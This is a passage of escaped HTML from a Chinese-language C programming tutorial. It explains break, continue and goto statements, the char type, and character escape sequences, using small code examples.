c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e3\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; \u003cspan class=\"number\"\u003e3\u003c/span\u003e; j++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d, %d\\n\u0026#34;\u003c/span\u003e, i, j);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ebreak\u003c/code\u003e语句使得循环跳到下一个\u003ccode\u003ei\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e ((ch = getchar()) != EOF) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (ch == \u003cspan class=\"string\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e) \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(ch);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,一旦读到换行符(\u003ccode\u003e\\n\u003c/code\u003e),\u003ccode\u003ebreak\u003c/code\u003e命令就跳出整个\u003ccode\u003ewhile\u003c/code\u003e循环,不再继续读取了。\u003c/p\u003e\u003cp\u003e注意,\u003ccode\u003ebreak\u003c/code\u003e命令只能跳出循环体和\u003ccode\u003eswitch\u003c/code\u003e结构,不能跳出\u003ccode\u003eif\u003c/code\u003e结构。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (n \u0026gt; \u003cspan class=\"number\"\u003e1\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (n \u0026gt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e) \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 无效\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;hello\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ebreak\u003c/code\u003e语句是无效的,因为它不能跳出外层的\u003ccode\u003eif\u003c/code\u003e结构。\u003c/p\u003e\u003ch3 id=\"continue-语句\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#continue-%E8%AF%AD%E5%8F%A5\" class=\"headerlink\" title=\"continue 语句\"\u003e\u003c/a\u003econtinue 语句\u003c/h3\u003e\u003cp\u003e\u003ccode\u003econtinue\u003c/code\u003e语句用于在循环体内部终止本轮循环,进入下一轮循环。只要遇到\u003ccode\u003econtinue\u003c/code\u003e语句,循环体内部后面的语句就不执行了,回到循环体的头部,开始执行下一轮循环。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e3\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; \u003cspan class=\"number\"\u003e3\u003c/span\u003e; j++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d, %d\\n\u0026#34;\u003c/span\u003e, i, j);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,有没有\u003ccode\u003econtinue\u003c/code\u003e语句,效果一样,都表示跳到下一个\u003ccode\u003ej\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e ((ch = getchar()) != \u003cspan class=\"string\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (ch == \u003cspan class=\"string\"\u003e\u0026#39;\\t\u0026#39;\u003c/span\u003e) \u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(ch);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,只要读到的字符是制表符(\u003ccode\u003e\\t\u003c/code\u003e),就用\u003ccode\u003econtinue\u003c/code\u003e语句跳过该字符,读取下一个字符。\u003c/p\u003e\u003ch3 id=\"goto-语句\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#goto-%E8%AF%AD%E5%8F%A5\" class=\"headerlink\" title=\"goto 语句\"\u003e\u003c/a\u003egoto 语句\u003c/h3\u003e\u003cp\u003egoto 语句用于跳到指定的标签名。这会破坏结构化编程,建议不要轻易使用,这里为了语法的完整,介绍一下它的用法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e ch;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etop: ch = getchar();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (ch == \u003cspan class=\"string\"\u003e\u0026#39;q\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003egoto\u003c/span\u003e top;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003etop\u003c/code\u003e是一个标签名,可以放在正常语句的前面,相当于为这行语句做了一个标记。程序执行到\u003ccode\u003egoto\u003c/code\u003e语句,就会跳转到它指定的标签名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003einfinite_loop:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e print(\u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003egoto\u003c/span\u003e infinite_loop;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的代码会产生无限循环。\u003c/p\u003e\u003cp\u003egoto 的一个主要用法是跳出多层循环。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(...) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (...) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (...) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edo\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (some_error_condition)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003egoto\u003c/span\u003e bail; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(...);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ebail:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// ... ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码有很复杂的嵌套循环,不使用 goto 的话,想要完全跳出所有循环,写起来很麻烦。\u003c/p\u003e\u003cp\u003egoto 的另一个用途是提早结束多重判断。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (do_something() == ERR)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003egoto\u003c/span\u003e error;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (do_something2() == ERR)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003egoto\u003c/span\u003e error;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (do_something3() == ERR)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003egoto\u003c/span\u003e error;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (do_something4() == ERR)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003egoto\u003c/span\u003e error;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例有四个判断,只要有一个发现错误,就使用 goto 跳过后面的判断。\u003c/p\u003e\u003cp\u003e注意,goto 只能在同一个函数之中跳转,并不能跳转到其他函数。\u003c/p\u003e\u003ch2 id=\"数据类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B0%E6%8D%AE%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"数据类型\"\u003e\u003c/a\u003e数据类型\u003c/h2\u003e\u003cp\u003eC 语言的每一种数据,都是有类型(type)的,编译器必须知道数据的类型,才能操作数据。所谓“类型”,就是相似的数据所拥有的共同特征,那么一旦知道某个值的数据类型,就能知道该值的特征和操作方式。\u003c/p\u003e\u003cp\u003e基本数据类型有三种:字符(char)、整数(int)和浮点数(float)。复杂的类型都是基于它们构建的。\u003c/p\u003e\u003ch3 id=\"字符类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AD%97%E7%AC%A6%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"字符类型\"\u003e\u003c/a\u003e字符类型\u003c/h3\u003e\u003cp\u003e字符类型指的是单个字符,类型声明使用\u003ccode\u003echar\u003c/code\u003e关键字。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e c = \u003cspan class=\"string\"\u003e\u0026#39;B\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例声明了变量\u003ccode\u003ec\u003c/code\u003e是字符类型,并将其赋值为字母\u003ccode\u003eB\u003c/code\u003e。\u003c/p\u003e\u003cp\u003eC 语言规定,字符常量必须放在单引号里面。\u003c/p\u003e\u003cp\u003e在计算机内部,字符类型使用一个字节(8位)存储。C 语言将其当作整数处理,所以字符类型就是宽度为一个字节的整数。每个字符对应一个整数(由 ASCII 码确定),比如\u003ccode\u003eB\u003c/code\u003e对应整数\u003ccode\u003e66\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e字符类型在不同计算机的默认范围是不一样的。一些系统默认为\u003ccode\u003e-128\u003c/code\u003e到\u003ccode\u003e127\u003c/code\u003e,另一些系统默认为\u003ccode\u003e0\u003c/code\u003e到\u003ccode\u003e255\u003c/code\u003e。这两种范围正好都能覆盖\u003ccode\u003e0\u003c/code\u003e到\u003ccode\u003e127\u003c/code\u003e的 ASCII 字符范围。\u003c/p\u003e\u003cp\u003e只要在字符类型的范围之内,整数与字符是可以互换的,都可以赋值给字符类型的变量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e c = \u003cspan class=\"number\"\u003e66\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e c = \u003cspan class=\"string\"\u003e\u0026#39;B\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ec\u003c/code\u003e是字符类型,赋给它的值是整数66。这跟赋值为字符\u003ccode\u003eB\u003c/code\u003e的效果是一样的。\u003c/p\u003e\u003cp\u003e两个字符类型的变量可以进行数学运算。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e a = \u003cspan class=\"string\"\u003e\u0026#39;B\u0026#39;\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 等同于 char a = 66;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e b = \u003cspan class=\"string\"\u003e\u0026#39;C\u0026#39;\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 等同于 char b = 67;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, a + b); \u003cspan class=\"comment\"\u003e// 输出 133\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,字符类型变量\u003ccode\u003ea\u003c/code\u003e和\u003ccode\u003eb\u003c/code\u003e相加,视同两个整数相加。占位符\u003ccode\u003e%d\u003c/code\u003e表示输出十进制整数,因此输出结果为133。\u003c/p\u003e\u003cp\u003e单引号本身也是一个字符,如果要表示这个字符常量,必须使用反斜杠转义。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e t = \u003cspan class=\"string\"\u003e\u0026#39;\\\u0026#39;\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003et\u003c/code\u003e为单引号字符,由于字符常量必须放在单引号里面,所以内部的单引号要使用反斜杠转义。\u003c/p\u003e\u003cp\u003e这种转义的写法,主要用来表示 ASCII 码定义的一些无法打印的控制字符,它们也属于字符类型的值。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e\\a\u003c/code\u003e:警报,这会使得终端发出警报声或出现闪烁,或者两者同时发生。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\\b\u003c/code\u003e:退格键,光标回退一个字符,但不删除字符。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\\f\u003c/code\u003e:换页符,光标移到下一页。在现代系统上,这已经反映不出来了,行为改成类似于\u003ccode\u003e\\v\u003c/code\u003e。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\\n\u003c/code\u003e:换行符。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\\r\u003c/code\u003e:回车符,光标移到同一行的开头。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\\t\u003c/code\u003e:制表符,光标移到下一个水平制表位,通常是下一个8的倍数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\\v\u003c/code\u003e:垂直分隔符,光标移到下一个垂直制表位,通常是下一行的同一列。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\\0\u003c/code\u003e:null 字符,代表没有内容。注意,这个值不等于数字0。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e转义写法还能使用八进制和十六进制表示一个字符。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e\\nn\u003c/code\u003e:字符的八进制写法,\u003ccode\u003enn\u003c/code\u003e为八进制值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\\xnn\u003c/code\u003e:字符的十六进制写法,\u003ccode\u003enn\u003c/code\u003e为十六进制值。\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan 